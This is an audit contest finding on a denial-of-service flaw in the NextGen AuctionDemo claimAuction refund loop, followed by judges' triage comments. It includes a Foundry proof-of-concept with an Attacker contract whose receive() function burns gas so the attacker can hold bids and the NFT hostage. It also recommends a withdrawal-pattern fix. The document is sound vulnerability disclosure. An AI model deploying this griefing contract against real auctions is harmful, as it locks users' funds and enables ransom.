Any bidder could cause DOS in auctionDemo#claimAuction

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

auctionDemo#claimAuction is called by the auction winner or admin when the auction is ended. This function sents NFT token to the winner's address, the winning bid to the previous owner of NFT and refunds all bidders that do not win an auction:

File: AuctionDemo.sol
104:     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
105:         require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
106:         auctionClaim[_tokenid] = true;
107:         uint256 highestBid = returnHighestBid(_tokenid);
108:         address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
109:         address highestBidder = returnHighestBidder(_tokenid);
110:         for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
111:             if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
112:                 IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
113:                 (bool success, ) = payable(owner()).call{value: highestBid}("");
114:                 emit ClaimAuction(owner(), _tokenid, success, highestBid);
115:             } else if (auctionInfoData[_tokenid][i].status == true) {
116:                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
117:                 emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
118:             } else {}
119:         }
120:     }

At line 116 contract makes a call to the bidder's address with a refund of ether value. The result of this call is not required to be successful, so this looks safe at first sight since if the bidder contract simply reverts this - loop will continue its execution. However, the bidder contract could spend 63/64 gas of the current transaction. This would lead to a revert in the next calls inside the refunding loop.

Increasing the TX gas limit up to the max gas limit (block gas limit) would not prevent an exploit since an attacker could place few bids causing spending more than 63/64 of TX gas.

Impact

Any bidder could cause permanent DOS on the auctionDemo#claimAuction function blocking all bids and NFT token inside the auction contract. An attacker could turn off DOS, releasing hostage assets at any time, and require redemption for this.

Proof of Concept

Next foundry test could show an exploit scenario:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import "./Base.t.sol";
import "forge-std/Test.sol";

contract DosOnRefund is Base, Test {
    Attacker attacker;
    address user;

    function setUp() public {
        attacker = new Attacker();
        user = makeAddr("user");
        _deploy();
        skip(1 days);
        _initAuction();
    }

    function test_exploit() public payable {
        vm.deal(address(attacker), 1 wei);
        vm.prank(address(attacker));
        auction.participateToAuction{value: 1 wei}(tokenId);

        vm.deal(address(attacker), 2 wei);
        vm.prank(address(attacker));
        auction.participateToAuction{value: 2 wei}(tokenId);

        vm.deal(user, 3 ether);
        vm.prank(user);
        auction.participateToAuction{value: 3 ether}(tokenId);
        
        uint256 endTime = nextGenMinterContract.getAuctionEndTime(tokenId);
        vm.warp(endTime);
        // Tx reverts since too much gas spent inside refunds calls on the attacker contract
        vm.expectRevert();
        auction.claimAuction(tokenId);
        // Attacker could release hostage assets at any time
        attacker.allowClaim();
        auction.claimAuction(tokenId);
    }
}

contract Attacker { 
    bool shouldSpendGas = true;
    function allowClaim() external {
        shouldSpendGas = false;
    }

    receive() external payable {
        if (shouldSpendGas) {
            for (uint256 i; i < type(uint256).max; ++i) {}
        }
    }
}

This test requires a Base.t.sol file: https://gist.github.com/sashik-eth/accf61913418dddc86d94ff5ae6fe9bd
Also foundry.toml file should include the next line:
gas_limit = 30000000

Recommended Mitigation Steps

Consider updating the refund flow in a way that each bidder calls withdraws for their bids instead of forcing sending all bids in the auctionDemo#claimAuction function.

Assessed type

ETH-Transfer

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1782

[c4-judge]

alex-ppg marked the issue as satisfactory